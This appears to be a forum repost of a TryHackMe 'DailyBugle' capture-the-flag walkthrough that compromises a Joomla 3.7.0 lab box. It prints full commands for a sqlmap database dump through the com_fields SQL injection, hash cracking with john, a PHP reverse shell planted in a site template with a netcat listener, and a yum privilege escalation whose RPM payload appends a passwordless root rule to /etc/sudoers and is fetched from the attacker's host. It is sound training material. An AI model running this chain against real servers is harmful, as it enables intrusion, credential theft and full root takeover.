• We just launched and are currently in beta. Join us as we build and grow the community.

DailyBugle TryHackMe Walkthrough

takpa

Social Commerce Expert
T Rep
0
0
0
Rep
0
T Vouches
0
0
0
Vouches
0
Posts
168
Likes
52
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 100 XP
Introduction

DailyBugle is a CTF Linux box with difficulty rated as “medium” on the TryHackMe platform. The machine covers Joomla 3.7.0 SQL injection vulnerability and privilege escalation using yum.

Table of Content

Network Scanning

  • Nmap

Enumeration

  • Discovering administrator directories using robots.txt
  • Enumerating site using joomscan
  • Discovering SQL injection flaw in the current installation

Exploitation

  • Exploiting Joomla v 3.7.0 via SQLi in com_fields
  • Cracking Joomla administrator hashes using john
  • Modifying template to input PHP reverse shell code

Privilege Escalation

  • Discovering other user’s credentials in the configuration file
  • Elevating privileges using yum

Let’s deep dive into this.

Network Scanning

The dedicated IP address of the machine is 10.10.91.172. We’ll run a nmap scan on this machine’s IP.

Code:
nmap -sV -sC 10.10.91.172 -Pn

AVvXsEg6ewVbblANrSOJ8hJpqOiJm4vpL6GzTX_PRq55YoI4AIZYTyx3ai-iI8Lg9c4DxU6uvjNKW2BcZ7h5X8LUUhAOjKnW-J7B8ypRmTQ8_xEuP504BRRtLndcO-LeCHSt40QhPBE0UHG01OMyosqpwUuWv8g2ufSWHOjvh2SRHp6-_5vfNCiMv946fGuxfg=s16000


Enumeration

We discovered the existence of a robots file that has an administrator directory.

AVvXsEhTrHsnJl3SbfG2uZwj87O4H_FBMMtsTt1XHofEGHgeAMI3iHwW9zpIjevF8BkDcrYp1gUtgLKA7u-rPL9YQ8exzrke6UOfF8iPpIoeIQ2ERJq_u1Uv0UCwfBk-zZD1R40HgH4u3K2ovMVcyq6WNXgYMmJAoR1C_Y4g8z0nzoH-MC_t4xsxkuDfGQaAWA=s16000


Upon opening this directory we found out that an instance of Joomla was running on this website.

AVvXsEgJE6yRTBf0lnIJwen-LHSjAwWNHq2hzVvJ0Wdm7C7sVxzuW9bOzaW1f4iKWlm0kKxRptpi3nXY8M-sW-eL3Gq-8RJzuqjibMLnhTOZ2GkVLCUuDXfWwgR6vO5LNDvOBnuAp-RAKw4zSHc8kUU1g0YWM8Ogpcqnu794JCEOfFqoomHW0ZyfSipQh5wVbA=s16000


Thus, we ran joomscan on this website and discovered the version 3.7.0 being run

Code:
joomscan -u http://10.10.91.172

AVvXsEhakG8ZlYC3f4V_0KcWD9fjPdTfNFbxH2cFRhPUVtc2c5hh4Q8C5O3v_z5ZShulgR3BbYcECDeEZW_zjVn3aVEPHxLt7CJoGp3G3mUA13k1eM2GLh2MQPRA4fFFjAwsQn6l0LBL7uAwzOxm39LTi5fRdh4mQPvofSFELIKCvIGGlv1HAG7QXuNrc4GjIw=s16000


Right away we looked out for public exploits for this installed instance using searchsploit and discovered that version 3.7.0 was vulnerable to SQLi via the com_fields parameter.

Code:
searchsploit joomla 3.7.0
searchsploit -m 42033

AVvXsEiGbxsLeRA853OEWItjJv3GSfub_6eT9dw-6K2Jq1884y-v6Wi3QpiUQKTBddxNXuFf0tUCCgYFwXaRdus2yNYK4YH0Mqrqh_6dt9CoeyZK8ztf_07LKfNE2qOPh9UM1X6vbTpIb7SQu-IWQVk4lEmaj4VYqq1J5INNFDcXoBwk-Kj2DpTPDc_uYAIANw=s16000


Exploitation

As exploit number 42033 told us, this sql injection vulnerability could be exploited by the following command

Code:
sqlmap -u "http://10.17.32.212/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dump-all -p list[fullordering]

AVvXsEiHhXa3jtipy1CO29WxYaQh9NJTXjh51tyhQoFYnfhJPz5avmsFIxFDqyEZCw76A4PWE91vfdrSORYKPBc9oj0VFx5_SkwX6crcv77NUStEGZINXq382CeRWFUjqVGn0PoM9m4vR06RPFJ1x5gRTsB8lEM0PTiOzbHe3GEr7ujliHd2hUuyRf0tdatIFA=s16000


However, while running this scan, it was taking way too long and so, we looked out for another script called “Joomblah.py” which is a POC for this SQLi vulnerability in Joomla v3.7.0. So we downloaded this script, ran and found credentials!

Code:
wget https://raw.githubusercontent.com/XiphosResearch/exploits/master/Joomblah/joomblah.py
python2.7 joomblah.py http://10.10.91.172

AVvXsEhf14J_masBIM5DT-W3tIH1EcwA3Sso33B-lbAL4FDksHMNHS2-F-Jzk-7Oq8cH_k7QB-J4J229vNdIPlNJr8tE0JHcPFAv1JrL7NezBJIJKADnokCXwCTbW9hOuCD1Sb7PqKRwnWMGP47ftYY9LFWwCg-tsRlKqjtj-4v9SRV5X2IfPvc7bG0dr1EpwA=s16000


We had discovered the hash but to know it’s type we googled it up and found it was
bcrypt”

AVvXsEgaJB6Rf9Vz8mR7iUHycd35n59vPSWQHk3bBfZZwnNWqAHOoW1zJMF-o2lbdKhKvC5l4EXfQBeBXU_iOjJB8rdIjx8V1KdGxHtLn0PG-cxRLMXX3hW2tryxd-zUV8U2mZAYlkfRo1U24aHx0EkNqDcaVrWn8l5j4pEJi9O6GJcXhdxyQQW8kBPBWXcc2Q=s16000


Thus we saved this hash in a file and used john to crack them

Code:
cat hash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash

AVvXsEhZSojChgR2YopgwwcKsZFffnhQ05Tx5oXRb_4vzba84YYYngX5Vjmp6UuVLYvH8ZmlWGKCM_RMxFEADxNhCHebLj6q2So4v98ctLQRg-aiDEbSpEH_Y_rxYxpWzIVUO6LzzV_d0ywi1E10BwljU4VLfemOYX6Ub6PB9N77RyglSn0fi-gVECyUl6FH3A=s16000


We see we have received clear text credentials. We logged in to the admin panel using this and can see a dashboard now!

AVvXsEjDRa74V7ML_dQBn8CUsI_59j-Hjf-qTfcY2cz99YEktxsHj0zKeMRZcYOX0n3kic3bXFvRUnnIIv9y03jB0-6SjCY6xEg2lt3979pbzRN3doBrvPHFdcxRyHpkYQlzG9PpQVNr7QzuZx1i6WjBYsca1wwql0VJvdmI9fXPzbZhmPE9KYMNYP2c46PGPA=s16000


Like with any other CMS, Joomla also has templates that are running on PHP, therefore, right away we copied the php-reverse-shell.php code in the template file and clicked on template preview. Before launching template preview we also set up a netcat listener

Code:
nc -nlvp 1234

AVvXsEhYo8AYrFzQx1if380pLpJw-nZHdqsQUjDh4hbYFpezgZWVd1IeFXXPlMHDdXZJPBWkR5mFuItkIwOHvzFBsuJIdW8nvP8v5mYxSkx1kPUuzRCjWYz9ThuGDWGQg78nubo1y9VSr3PqPjqSCOtNG5l2nA9DrhsESWctttsj-InPe3kcXAdfspUyxXaseQ=s16000


On our listener we see a shell popped up!

Privilege Escalation

Now that we have a working TTY on the victim box, we started looking for ways to escalate privileges. We checked the sudoers file but nothing was found.

AVvXsEhQhNauxqMqhOh-lReB8JfRSE_29lSPjpEcRT5NuIb4tgJz63Udy72t3m9eLjoZwQZre4gXJ0Gx1h1wsGdbYCMJgOkN73zHxI5zpezFTcRxJ2mOzzJwh1pbXrogjrexcC1Z8KkZFk7CiZxOg3-jJf1cLEvFFMgp7T8JuqC2zx9UBBvS0achn_PF5MVrJg=s16000


After a quick system check and looking at the website’s files, we found a configuration file that had credentials of a database. root user had the password: nv5uz9r3ZEDzVjNu

Code:
cd /var/www/html
cat configuration.php

AVvXsEhWVBOUGBMybQTxYpnVYOVtNnZ670yrF7lhEn9G0P1MvE3E8pDQZoWlrj8tnKqZnPNztu-iiR_p_nSO2Tk9Fz-pKubTnAkvTPKxKZ5IC65cSjoS7pemulMAug2tR80l40ppDqXi5v65FNW-h8UQMe-4klpr9Rf1DB9JcgW06NhnEPJ_4zZLSLoJ89h3oA=s16000


Now, we tried to login into another existing user jjameson using this password and it worked! We immediately spawned a stable teletype using python. Thereafter, we looked into the sudoers file and found yum in the entries.

Code:
su jjameson
python -c 'import pty;pty.spawn("/bin/bash")'
sudo -l

AVvXsEgfq0kL9_AtVTpJBemPkXKno-nAQBW_uzyKWH9WIw6Zsc-AgTsPAuvZTSch5lyLVkQRyZbBy3IuUW81K59bBiHGdL9cHznA_7AgEuCVy3SWVTt_OKJOvBbxuNXzTDQ9Sftt0Z9lExL1LqtZSNUh3QhacOSU61t-q4KqYXh6Pjt_6YZaAsPxo-F2PjSxug=s16000


Referring to gtfobins post here we can escalate our privileges by creating our custom RPM executable. For this we need rpm, fpm to be installed first. Thereafter, we’ll copy a command into a shell script. This echo command simply adds my user jjameson into the sudoers file so that any command can be run as root. This would be our payload. Then we create an rpm package using fpm package.

Code:
apt install rpm
gem install fpm
echo 'echo "jjameson ALL=(root) NOPASSWD:ALL" >> /etc/sudoers' > my.sh
fpm -n root -s dir -t rpm -a all --before-install my.sh .
python3 -m http.server 80

AVvXsEiL9qM-HsFZBEXvnXw1_IuGYi8HL659Z7T-g69BAniicCBToAgl_mR5Xy8MR2Hjv3gUO68H3z0HCQtcJH00h0OB2uRdpudQSTb6ag3-MKnilV-7wJI-lIk8q4-3RFXGuN6EsCnXnYv2DZfLwcTOyrb43HzD6guOkRijMQDs6w0bWstKy65jVI_XaVov4g=s16000


Now all that’s left to do was to copy this file into /tmp directory on the victim’s box.

Code:
cd /tmp
wget http://10.17.32.212/root-1.0-1.noarch.rpm

AVvXsEjdicIbEno9Huh1TnK16s0bGoJQvBsBVbtRS-oorM-vvVtqoTC4Hx0ux3eTzz7At6gSRMDw7Dh3hytmFNyewITTESBrIJEazMPmEpUZRDzCK-2a-kr7sarNsSOa5-G6BX_LYtAc4HrlMVk38Ux-g9zhFipQDoKeQL34vYHx9zI8BfZEDHzjkb_2u1pO8A=s16000


So, we downloaded it and ran using yum localinstall command. It ran successfully! We ran bash shell as sudo and as expected jjameson (my user) ran it as root and thus privileges were escalated! Finally, we read the congratulatory flag!

Code:
sudo yum localinstall -y root-1.0-1.noarch.rpm
sudo bash
cd /root
cat root.txt

AVvXsEjoAuqKw-p1UUNePP5om6dWuQRvikTWdFajQlw_oHzSYTYf1ZHlYKTRQqa9LToBB6yMNJCmLVrmuDhwh7KysncbGwjDE65LZFOwApAN8-Mc_l1x_oSVwedQHTz7pc5tQQz37RDkFqFif6VYeXPr0XXF2wgaKePejfOn42olYVVAVzNc4XDO-plHnQ6cBg=s16000


Hence, this is how we root this box. Kudos to the author on creating a beginner-friendly box that focuses on real life and commonly found vulnerabilities. Thanks for reading!

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contacthere
 

452,496

334,779

334,787

Top